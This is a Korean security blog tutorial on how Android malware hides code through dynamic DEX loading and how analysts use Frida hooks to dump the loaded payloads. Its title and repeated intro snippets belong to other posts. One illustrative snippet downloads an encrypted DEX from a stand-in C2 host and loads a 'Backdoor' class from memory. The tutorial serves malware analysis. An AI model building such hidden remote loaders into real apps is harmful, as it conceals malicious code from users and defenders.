갤럭시의 블로트웨어 AppCloud의 정체와 공급망 공격의 위협
안녕하세요. 분석팀의 Jiyong입니다. 어느덧 한 해를 마무리하는 12월의 문턱입니다. 부쩍 추워진 날씨에 다들 건강 잘 챙기고 계신가요?
안녕하세요. 분석팀의 Jiyong입니다. 어느덧 한 해를 마무리하는 12월의 문턱입니다. 부쩍 추워진 날씨에 다들 건강 잘 챙기고 계신가요?
안녕하세요. Secolt입니다.
오늘은 특별히 같은 분석팀에서 일하시는 Jiyong씨와 함께 공동으로 작성한 포스팅을 준비했습니다.
최근 발견되는 대다수의 안드로이드 악성 앱은 분석을 회피하기 위해 Dynamic Dex Loading(동적 DEX 로딩) 기술을 사용합니다. 이 기법은 분석가가 정적 분석 도구로 앱을 열었을 때 핵심 로직을 보지 못하게 가리는 보이지 않는 벽과 같습니다. 오늘 저희는 이 기술의 원리를 파헤치고, 실행 시점에 코드를 낚아채는 후킹 기술과 그 필연성에 대해 다뤄보고자 합니다.
본격적인 분석에 앞서, DEX(Dalvik Executable) 파일의 정체를 짚고 넘어가겠습니다.
DEX는 안드로이드의 런타임 환경인 ART(Android Runtime) 또는 Dalvik 가상 머신에서 실행되는 바이트코드 파일입니다. 자바나 코틀린으로 작성된 소스 코드는 컴파일 과정을 거쳐 .class 파일이 되고, 다시 안드로이드 빌드 도구에 의해 하나의 .dex 파일로 변환됩니다. 이 안에는 클래스 정의, 메서드, 필드, 문자열, 상수 풀(Constant Pool) 등 앱의 모든 실행 로직이 최적화된 바이너리 형태로 담깁니다.
DEX 파일은 사람이 직접 읽기 어려운 바이너리 형식이지만, 이를 디스어셈블하면 smali 라고 불리는 어셈블리 형태의 코드로 변환됩니다. 안드로이드 가상 머신은 결국 이 smali 명령어를 해석해서 앱의 기능을 수행하게 됩니다.
일반적인 앱은 설치 시점에 포함된 메인 DEX를 로드하여 실행되지만, 악성 앱이나 보안이 강화된 앱은 동적 로딩(Dynamic Loading) 방식을 사용합니다. 악성 앱은 다양한 방식으로 DEX 파일을 숨깁니다. 예를 들어 암호화된 파일을 assets 폴더에 .dat 확장자로 위장하거나, 리소스 파일에 인코딩하여 숨기는 방식 등이 있습니다. 이렇게 숨겨진 파일은 실행 시점에 복호화되어 메모리에 로드됩니다.
![[그림 1] APK 내에 암호화된 .dat 파일](/blog/post_dexload/image01.png)
[그림 1] APK 내에 암호화된 .dat 파일
![[그림 2] classes0.dex.dat 파일 내용(암호화 됨)](/blog/post_dexload/image02.png)
[그림 2] 암호화된 DEX 파일 내용(classes0.dex.dat)
![[그림 3] 정상적인 DEX 파일 내용](/blog/post_dexload/image03.png)
[그림 3] 정상적인 DEX 파일 내용
위 그림은 assets 폴더에 암호화된 .dat 파일로 위장한 사례입니다. 이렇게 숨겨진 DEX 파일은 앱 실행 시 복호화되어 메모리에 로드됩니다. 이러한 방식은 정적 분석을 우회하고 악성 행위를 숨기는 데 효과적입니다.
악성코드 제작자들이 동적 DEX 로딩을 선호하는 이유는 명확합니다.
첫째, JADX나 APKTools 같은 정적 분석 도구로 APK를 열어도 악성 로직이 보이지 않아 분석가가 앱의 실제 동작을 파악하기 어렵습니다.
둘째, 실제 악성 코드를 찾기 위해서는 추가적인 동적 분석 과정이 필요하므로 보안 대응이 늦어집니다.
셋째, 안티바이러스 엔진이나 정적 시그니처 기반 탐지를 우회할 수 있어 악성 앱이 더 오래 탐지되지 않고 활동할 수 있습니다.
실제로 이러한 기법을 사용하는 대표적인 악성 앱 유형은 다음과 같습니다.
안드로이드에서 동적으로 DEX 파일을 로드할 때 주로 사용되는 3가지 ClassLoader가 있습니다.
DexClassLoader는 파일 시스템에 저장된 DEX 파일을 로드하는 가장 일반적인 방법입니다. 외부 저장소나 앱 내부 디렉토리에 있는 .dex 또는 .jar 파일을 동적으로 로드할 수 있습니다.
// DexClassLoader 사용 예시
String dexPath = "/data/data/com.example.app/files/payload.dex";
String optimizedDirectory = "/data/data/com.example.app/cache";
String librarySearchPath = null;
ClassLoader parent = getClassLoader();
DexClassLoader classLoader = new DexClassLoader(
dexPath, // 로드할 DEX/JAR 파일의 경로
optimizedDirectory, // 최적화된 DEX 파일(ODEX)을 저장할 디렉토리
librarySearchPath, // 네이티브 라이브러리 검색 경로
parent // 부모 ClassLoader
);
// 로드된 클래스 사용
Class<?> loadedClass = classLoader.loadClass("com.malware.Payload");
Object instance = loadedClass.newInstance();
PathClassLoader는 DexClassLoader와 유사하지만, 주로 이미 설치된 APK의 DEX 파일을 로드하는 데 사용됩니다. 안드로이드 시스템이 앱을 실행할 때 기본적으로 사용하는 ClassLoader입니다.
DexClassLoader와의 차이점
optimizedDirectory 파라미터가 없음 (시스템이 자동으로 관리)// PathClassLoader 사용 예시
String dexPath = "/data/app/com.example.app/base.apk";
ClassLoader parent = getClassLoader();
PathClassLoader classLoader = new PathClassLoader(
dexPath,
parent
);
Class<?> loadedClass = classLoader.loadClass("com.hidden.Feature");
InMemoryDexClassLoader는 Android 8.0 (API 26)부터 도입된 ClassLoader로 파일 시스템을 거치지 않고 메모리상의 바이트 버퍼(ByteBuffer)에서 직접 DEX를 로드합니다.
특징
// InMemoryDexClassLoader 사용 예시
// 네트워크에서 암호화된 DEX 다운로드
byte[] encryptedDex = downloadFromServer("https://c2.server/payload.enc");
// 복호화
byte[] decryptedDex = decrypt(encryptedDex);
// ByteBuffer로 변환
ByteBuffer buffer = ByteBuffer.wrap(decryptedDex);
// 메모리에서 직접 로드
ClassLoader parent = getClassLoader();
InMemoryDexClassLoader classLoader = new InMemoryDexClassLoader(
buffer,
parent
);
Class<?> loadedClass = classLoader.loadClass("com.stealth.Backdoor");
| ClassLoader | 소스 | 파일 흔적 | 주요 사용 사례 | 탐지 난이도 |
|---|---|---|---|---|
| DexClassLoader | 파일 시스템 | O | 기능 확장, 플러그인 로딩 | 중간 |
| PathClassLoader | APK 내부 | O | 기본 클래스 로딩 | 낮음 |
| InMemoryDexClassLoader | 메모리 | X | 보안 로직 은닉, 패킹 솔루션 | 높음 |
악성 앱이 동적 로딩을 사용한다면 분석가는 어떻게 대응해야 할까요? 핵심은 ClassLoader가 생성되는 시점을 후킹하여 로드되는 DEX를 가로채는 것입니다.
3가지 주요 ClassLoader의 생성자를 모두 후킹하면 어떤 방식으로든 동적 로딩이 발생하는 순간을 포착할 수 있습니다.
파일 기반 ClassLoader는 다음 정보를 수집합니다.
파일이 이미 존재하므로 adb pull 명령이나 Frida의 파일 복사 기능을 통해 쉽게 추출할 수 있습니다.
// Frida 스크립트 예시 (개념)
DexClassLoader.$init.implementation = function(dexPath, ...) {
console.log("[+] DexClassLoader 탐지!");
console.log(" - 파일 경로: " + dexPath);
console.log(" - MD5 해시: " + calculateMD5(dexPath));
// 파일을 안전한 위치로 복사
copyFile(dexPath, "/sdcard/extracted_" + timestamp() + ".dex");
return this.$init(dexPath, ...);
}
메모리 기반 로딩은 파일이 없으므로 ByteBuffer 내용 자체를 덤프해야 합니다.
// 메모리 DEX 덤프 (개념)
InMemoryDexClassLoader.$init.implementation = function(buffer, parent) {
console.log("[!] 메모리 DEX 로딩 탐지!");
// ByteBuffer에서 바이트 배열 추출
var bytes = extractBytes(buffer);
// 파일로 저장
var filename = "/sdcard/memory_dump_" + timestamp() + ".dex";
writeToFile(filename, bytes);
console.log(" - 덤프 완료: " + filename);
console.log(" - 크기: " + bytes.length + " bytes");
return this.$init(buffer, parent);
}
이렇게 추출된 DEX 파일은 JADX로 디컴파일하여 정적 분석을 진행할 수 있습니다.
ClassLoader가 생성된 후 실제로 어떤 클래스를 로드하는지 추적하려면 loadClass() 메서드를 후킹합니다.
분석 전략
java.*, android.*)는 제외하고 앱 패키지명만 필터링BankingOverlay, SmsInterceptor)ClassLoader.loadClass.implementation = function(className) {
// 타겟 앱의 패키지만 필터링
if (className.startsWith("com.suspicious.")) {
console.log("[+] 의심 클래스 로드: " + className);
// 스택 트레이스 출력 (어디서 호출했는지 추적)
console.log(Java.use("android.util.Log").getStackTraceString(
Java.use("java.lang.Exception").$new()
));
}
return this.loadClass(className);
}
ClassLoader 생성 전후의 로드된 패키지 목록을 비교하면 어떤 패키지가 새로 추가되었는지 알 수 있습니다.
// 생성 전
var beforePackages = getLoadedPackages();
// ClassLoader 생성...
// 생성 후
var afterPackages = getLoadedPackages();
// 차이점 분석
var newPackages = afterPackages.filter(pkg => !beforePackages.includes(pkg));
console.log("[+] 새로 로드된 패키지: " + newPackages);
이를 통해 동적으로 로드된 코드가 어떤 기능 영역에 속하는지 빠르게 파악할 수 있습니다.
1. Frida로 3가지 ClassLoader 생성자 후킹
↓
2. 파일 기반: 파일 경로 및 해시 수집, 파일 복사
메모리 기반: ByteBuffer 덤프
↓
3. loadClass() 후킹으로 로드되는 클래스 모니터링
↓
4. 추출된 DEX를 JADX로 디컴파일
↓
5. 악성 로직 정적 분석 수행
이러한 다층 후킹 전략을 통해 악성 앱이 사용하는 동적 로딩 기법에 관계없이 실행되는 모든 페이로드를 포착할 수 있습니다.
주로 사용되는 3가지 ClassLoader들을 모두 실습해 볼 수 있는 앱에서 Frida를 이용해 분석하고 덤프하는 실습 과정을 따라가봅시다.
![[그림 4] 실습 앱 화면](/blog/post_dexload/image04.png)
[그림 4] 실습 앱 화면
실습을 원활하게 진행하기 위해서는 앱이 요구하는 동작 환경을 미리 맞춰주어야 합니다. 앱의 소스코드를 살펴보니 이 앱은 특정 서버 환경과 통신하도록 만들어져 있었기 때문인데요.
코드에서 InMemoryDexClassLoader가 사용된 부분을 살펴보면 다음과 같은 로직을 확인할 수 있습니다.
// MainActivity.java 내부
private final String inMemoryDownloadURL = "http://10.0.3.2:8989/classes3.dex";
// ... 다운로드 로직 ...
downloadFile(this.inMemoryDownloadURL);
이 코드를 통해 우리는 두 가지 정보를 알 수 있습니다.
10.0.3.2의 8989 포트로 접속을 시도한다.classes3.dex 이다.앱이 연결을 시도하는 10.0.3.2는 Genymotion 에뮬레이터 환경에서 호스트 PC를 가리키는 주소입니다. 따라서 네트워크 패킷 조작 없이 앱의 본래 동작을 유도하기 위해, 다른 에뮬레이터 대신 Genymotion을 사용하여 실습을 진행합니다.
또한, 앱이 요청하는 classes3.dex파일을 제공하기 위해 호스트 PC에 간이 웹 서버를 구축해야합니다. 이를 위해 분석 대상 앱의 assets 폴더 내에 포함된 classes3.dex파일을 추출하여 준비해 둡니다.
준비된 파일과 환경을 바탕으로 다음과 같이 서버를 실행합니다.
python -m http.server 8989
이로써 앱이 보내는 요청(http://10.0.3.2:8989/...)은 자연스럽게 내 PC의 Python 서버로 연결되어 정상적으로 DEX 파일을 다운로드하게 됩니다.
먼저 DexClassLoader 실습부터 진행해봅시다. 분석가의 목표는 ‘도대체 어디에 있는 파일을 로드하는가?‘를 알아내는 것입니다.
아래 코드는 DexClassLoader의 생성자를 후킹하여 dexPath 인자를 가로챕니다. 이때 단순히 경로만 출력하는 것보다 해당 파일의 MD5 해시를 계산해서 출력하면 파일 무결성 검증에 도움이 됩니다.
// DexClassLoader 후킹 및 MD5 출력
var DexClassLoader = Java.use("dalvik.system.DexClassLoader");
DexClassLoader.$init.overload('java.lang.String', 'java.lang.String', 'java.lang.String', 'java.lang.ClassLoader').implementation = function (dexPath, optimizedDirectory, librarySearchPath, parent) {
console.log("[!] DexClassLoader Detected!");
console.log("[-] Path: " + dexPath);
console.log("[-] MD5: " + getFileHash(dexPath)); // 별도 해시 함수 구현
return this.$init(dexPath, optimizedDirectory, librarySearchPath, parent);
};
![[그림 5] DexClassLoader 후킹 결과 화면](/blog/post_dexload/image05.png)
[그림 5] DexClassLoader 후킹 결과 화면
위 로그를 통해 로드되는 파일이 /data/user/0/.../cache/ 에 존재함을 확인할 수 있습니다. DEX 파일이 저장되는 경로를 확보했으니 adb pull을 이용해 파일을 PC로 추출합니다.
adb pull /data/user/0/com.erev0s.myapplicationclassloader/cache/pref4770297621421316450.dex ./extract.dex
여기서 잠깐, 우리가 추출한 파일이 정말 앱이 로드했던 그 파일이 맞을까요? 이때 아까 Frida 로그에 찍힌 MD5 해시값이 무결성 검증의 열쇠가 됩니다. PC로 가져온 파일의 해시를 계산하여 로그와 비교해 봅시다.
![[그림 6] 해시값 비교](/blog/post_dexload/image06.png)
[그림 6] 해시값 비교
두 값이 정확히 일치함을 확인하였고, 이로 인해 분석가는 실행 중인 앱이 사용하던 원본 코드를 손상없이 완벽하게 확보했다는 확신을 가지고 정적 분석을 시작할 수 있습니다.
DEX 파일을 로드했다면 그 안의 특정 클래스를 사용할 것입니다.
ClassLoader.loadClass() 메서드를 후킹하면 어떤 패키지의 어떤 클래스가 로드되는지 실시간으로 추적할 수 있습니다. 아래 코드는 시스템 클래스는 제외하고, 타겟 앱의 패키지나 의심스러운 클래스명이 포함된 경우만 필터링하여 출력합니다.
var ClassLoader = Java.use("java.lang.ClassLoader");
ClassLoader.loadClass.overload('java.lang.String').implementation = function (className) {
if (className.includes("com.erev0s")) {
console.log("[+] Suspicious Class Loaded: " + className);
}
return this.loadClass(className);
};
![[그림 7] 로드된 클래스 식별 결과](/blog/post_dexload/image07.png)
[그림 7] 로드된 클래스 식별 결과
로그를 통해 com.erev0s.randomnumber.RandomNumber와 같은 클래스들이 로드된 것을 확인했습니다. 이를 통해 개발자가 숨겨둔 기능의 클래스 이름을 파악할 수 있습니다.
가장 분석하기 까다로운 케이스입니다. InMemoryDexClassLoader는 파일 경로 없이 메모리상의 바이트 배열을 로드합니다. 파일이 시스템에 저장되는 과정이 없으니 단순 복사가 불가능하죠. 이에 따라 생성자에 전달되는 ByteBuffer를 가로채서 강제로 파일로 쓰는(Dump) 작업이 필요합니다.
앞서 실습 환경 구성 단계에서 Genymotion과 Python 서버를 미리 세팅했으므로, 실습 앱은 우리가 준비한 classes3.dex를 다운로드하여 메모리에 로드할 것입니다.
이제 InMemoryDexClassLoader의 생성자를 후킹하여 메모리에서 DEX를 추출하는 Frida 스크립트를 작성합니다.
var InMemoryDexClassLoader = Java.use("dalvik.system.InMemoryDexClassLoader");
// InMemoryDexClassLoader 생성자 후킹
InMemoryDexClassLoader.$init.overload('java.nio.ByteBuffer', 'java.lang.ClassLoader').implementation = function (dexBuffer, parent) {
console.log("[!] InMemoryDexClassLoader Detected!");
try {
// Frida가 타입을 못 찾을 때 명시적으로 ByteBuffer로 캐스팅
var castedBuffer = Java.cast(dexBuffer, Java.use("java.nio.ByteBuffer"));
// 데이터 추출
var length = castedBuffer.capacity();
var bytes = Java.array('byte', new Array(length).fill(0));
castedBuffer.position(0); // 읽기 전 위치 초기화
castedBuffer.get(bytes); // 데이터 복사
castedBuffer.position(0); // 앱이 다시 읽을 수 있게 원상복구
// 파일 저장
var path = "/data/user/0/com.erev0s.myapplicationclassloader/cache/dumped_success.dex";
var File = Java.use("java.io.File");
var FileOutputStream = Java.use("java.io.FileOutputStream");
var fos = FileOutputStream.$new(File.$new(path));
fos.write(bytes);
fos.close();
console.log("[+] Dump Success! Path: " + path);
} catch (e) {
console.log("[X] Error: " + e);
}
// 원본 함수 실행
return this.$init(dexBuffer, parent);
};
스크립트를 실행하고 앱에서 INMEM 우측 버튼을 누르면 앱은 서버에서 DEX 파일을 받아와 로드합니다. 이 순간을 Frida 스크립트를 통해 후킹하여 DEX 파일을 덤프합니다.
![[그림 8] 메모리 덤프 성공 로그](/blog/post_dexload/image08.png)
[그림 8] 메모리 덤프 성공 로그
![[그림 9] 생성된 dex 추출](/blog/post_dexload/image09.png)
[그림 9] 생성된 dex 추출
실습을 통해 DexClassLoader, PathClassLoader, InMemoryDexClassLoader 세 가지 방식 모두를 후킹하고 페이로드를 추출하는 과정을 직접 수행해 보았습니다. 추출된 DEX 파일은 이제 JADX 같은 정적 분석 도구로 열어볼 수 있습니다.
동적 DEX 로딩은 안드로이드 악성코드의 주요 탐지 회피 기술이 되었습니다. 정적 분석 도구만으로는 암호화된 페이로드나 메모리에만 존재하는 악성 코드를 찾아낼 수 없습니다. 하지만 아무리 정교하게 숨겨도, 코드는 실행되기 위해 결국 메모리에 모습을 드러낼 수밖에 없습니다. 바로 이 지점이 분석가의 기회입니다. 이 글에서는 DexClassLoader, PathClassLoader, InMemoryDexClassLoader라는 세 가지 주요 동적 로딩 메커니즘을 살펴보고, Frida를 활용해 각각을 후킹하여 페이로드를 추출하는 실전 기법을 다뤘습니다.
악성코드 제작자들은 계속해서 더 교묘한 난독화와 안티 디버깅 기술을 개발할 것입니다. 하지만 악성코드 분석가 역시 Frida, Objection, MobSF 같은 오픈소스 도구를 발전시키며 대응하고 있습니다. 끝없는 기술 경쟁 속에서 중요한 것은 원리에 대한 깊은 이해입니다. 도구는 바뀔 수 있지만 메모리 로딩이라는 본질적 메커니즘은 변하지 않기 때문입니다.
이 글이 안드로이드 보안과 악성코드 분석에 관심 있는 분들께 실질적인 도움이 되었기를 바랍니다. 궁금한 점이나 추가로 다뤄주었으면 하는 주제가 있다면 언제든 메일로 남겨주세요!
안녕하세요. 분석팀의 Jiyong입니다. 어느덧 한 해를 마무리하는 12월의 문턱입니다. 부쩍 추워진 날씨에 다들 건강 잘 챙기고 계신가요?
안녕하세요. 분석팀의 Jiyong입니다. 어느덧 한 해를 마무리하는 12월의 문턱입니다. 부쩍 추워진 날씨에 다들 건강 잘 챙기고 계신가요?
안녕하세요. Secolt입니다. 어느덧 2025년도 막바지를 향해 달려가고 있습니다. 갑작스럽게 추워진 날씨에 다들 건강 관리는 잘 하고 계신가 …
안녕하세요. Secolt입니다. 어느덧 2025년도 막바지를 향해 달려가고 있습니다. 갑작스럽게 추워진 날씨에 다들 건강 관리는 잘 하고 계신가요? 연말이 다가오면서 거리의 분위기는 들뜨고 있지만, 악성코드 분석가들의 마음은 마냥 편하지는 않습니다. 연말연시는 해커들이 가장 활발하게 움직이는 시기이기도 하니까요.